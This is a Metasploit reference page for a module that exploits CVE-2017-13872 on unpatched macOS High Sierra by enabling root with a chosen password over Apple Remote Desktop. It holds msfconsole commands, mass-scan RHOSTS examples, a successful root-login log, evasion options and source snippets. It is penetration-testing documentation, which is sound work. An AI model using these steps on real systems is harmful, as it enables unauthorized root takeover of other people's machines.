Apple Remote Desktop Root Vulnerability - Metasploit


This page contains detailed information about how to use the auxiliary/scanner/vnc/ard_root_pw metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Apple Remote Desktop Root Vulnerability
Module: auxiliary/scanner/vnc/ard_root_pw
Source code: modules/auxiliary/scanner/vnc/ard_root_pw.rb
Disclosure date: -
Last modification time: 2021-01-28 10:35:25 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 5900
List of CVEs: CVE-2017-13872

Enable and set root account to a chosen password on unpatched macOS High Sierra hosts with either Screen Sharing or Remote Management enabled.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/vnc/ard_root_pw
msf auxiliary(ard_root_pw) > show options
    ... show and set options ...
msf auxiliary(ard_root_pw) > set RHOSTS ip-range
msf auxiliary(ard_root_pw) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(ard_root_pw) > set RHOSTS 192.168.1.3-192.168.1.200 

Example 2:

msf auxiliary(ard_root_pw) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(ard_root_pw) > set RHOSTS file:/tmp/ip_list.txt

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Description


This module remotely exploits the remote CVE-2017-13872 (iamroot) vulnerability over Apple Remote Desktop protocol (ARD). It assumes that "System Preferences > Sharing > Screen Sharing" is enabled.

Verification Steps


  1. Do: use auxiliary/scanner/vnc/ard_root_pw
  2. Do: set RHOSTS [IP]
  3. Do: run

Scenarios


Running the scanner

msf > use auxiliary/scanner/vnc/ard_root_pw
msf auxiliary(scanner/vnc/ard_root_pw) > set RHOSTS 172.16.143.129
RHOSTS => 172.16.143.129
msf auxiliary(scanner/vnc/ard_root_pw) > run

[*] 172.16.143.129:5900   - Attempting authentication as root.
[*] 172.16.143.129:5900   - Testing login as root with chosen password.
[+] 172.16.143.129:5900   - Login succeeded - root:xaavMPozB2HmDhGX
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Credentials

msf auxiliary(scanner/vnc/ard_root_pw) > creds
Credentials
===========

host            origin          service         public  private           realm  private_type
----            ------          -------         ------  -------           -----  ------------
172.16.143.129  172.16.143.129  5900/tcp (vnc)  root    xaavMPozB2HmDhGX         Password

Go back to menu.

Msfconsole Usage


Here is how the scanner/vnc/ard_root_pw auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/vnc/ard_root_pw

msf6 auxiliary(scanner/vnc/ard_root_pw) > show info

       Name: Apple Remote Desktop Root Vulnerability
     Module: auxiliary/scanner/vnc/ard_root_pw
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  jgor

Check supported:
  No

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  PASSWORD                   no        Set root account to this password
  RHOSTS                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT     5900             yes       The target port (TCP)
  THREADS   1                yes       The number of concurrent threads (max one per host)

Description:
  Enable and set root account to a chosen password on unpatched macOS 
  High Sierra hosts with either Screen Sharing or Remote Management 
  enabled.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2017-13872
  https://support.apple.com/en-us/HT208315

Module Options


This is a complete list of options available in the scanner/vnc/ard_root_pw auxiliary module:

msf6 auxiliary(scanner/vnc/ard_root_pw) > show options

Module options (auxiliary/scanner/vnc/ard_root_pw):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        Set root account to this password
   RHOSTS                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT     5900             yes       The target port (TCP)
   THREADS   1                yes       The number of concurrent threads (max one per host)

Advanced Options


Here is a complete list of advanced options supported by the scanner/vnc/ard_root_pw auxiliary module:

msf6 auxiliary(scanner/vnc/ard_root_pw) > show advanced

Module advanced options (auxiliary/scanner/vnc/ard_root_pw):

   Name                 Current Setting  Required  Description
   ----                 ---------------  --------  -----------
   CHOST                                 no        The local client address
   CPORT                                 no        The local client port
   ConnectTimeout       10               yes       Maximum number of seconds to establish a TCP connection
   Proxies                               no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL                  false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                             no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode        PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion           Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   ShowProgress         true             yes       Display progress messages during a scan
   ShowProgressPercent  10               yes       The interval in percent that progress should be shown
   VERBOSE              false            no        Enable detailed status messages
   WORKSPACE                             no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the scanner/vnc/ard_root_pw module can do:

msf6 auxiliary(scanner/vnc/ard_root_pw) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the scanner/vnc/ard_root_pw auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/vnc/ard_root_pw) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

VNC server does not advertise security type ARD.


Here is a relevant code snippet related to the "VNC server does not advertise security type ARD." error message:

70:	      connect
71:	      vnc = Rex::Proto::RFB::Client.new(sock)
72:	      if vnc.handshake
73:	        type = vnc.negotiate_authentication
74:	        unless type = Rex::Proto::RFB::AuthType::ARD
75:	          print_error("VNC server does not advertise security type ARD.")
76:	          return
77:	        end
78:	        print_status("Attempting authentication as root.")
79:	        if vnc.authenticate_with_type(type, 'root', password)
80:	          log_credential(password)

VNC handshake failed.


Here is a relevant code snippet related to the "VNC handshake failed." error message:

79:	        if vnc.authenticate_with_type(type, 'root', password)
80:	          log_credential(password)
81:	          return
82:	        end
83:	      else
84:	        print_error("VNC handshake failed.")
85:	        return
86:	      end
87:	      disconnect
88:	
89:	      connect

VNC handshake failed.


Here is a relevant code snippet related to the "VNC handshake failed." error message:

93:	        if vnc.authenticate_with_user('root', password)
94:	          log_credential(password)
95:	          return
96:	        end
97:	      else
98:	        print_error("VNC handshake failed.")
99:	        return
100:	      end
101:	      disconnect
102:	
103:	      connect

VNC handshake failed.


Here is a relevant code snippet related to the "VNC handshake failed." error message:

107:	        if vnc.authenticate_with_user('root', '')
108:	          log_credential('')
109:	          return
110:	        end
111:	      else
112:	        print_error("VNC handshake failed.")
113:	        return
114:	      end
115:	
116:	    ensure
117:	      disconnect

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


jgor

Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.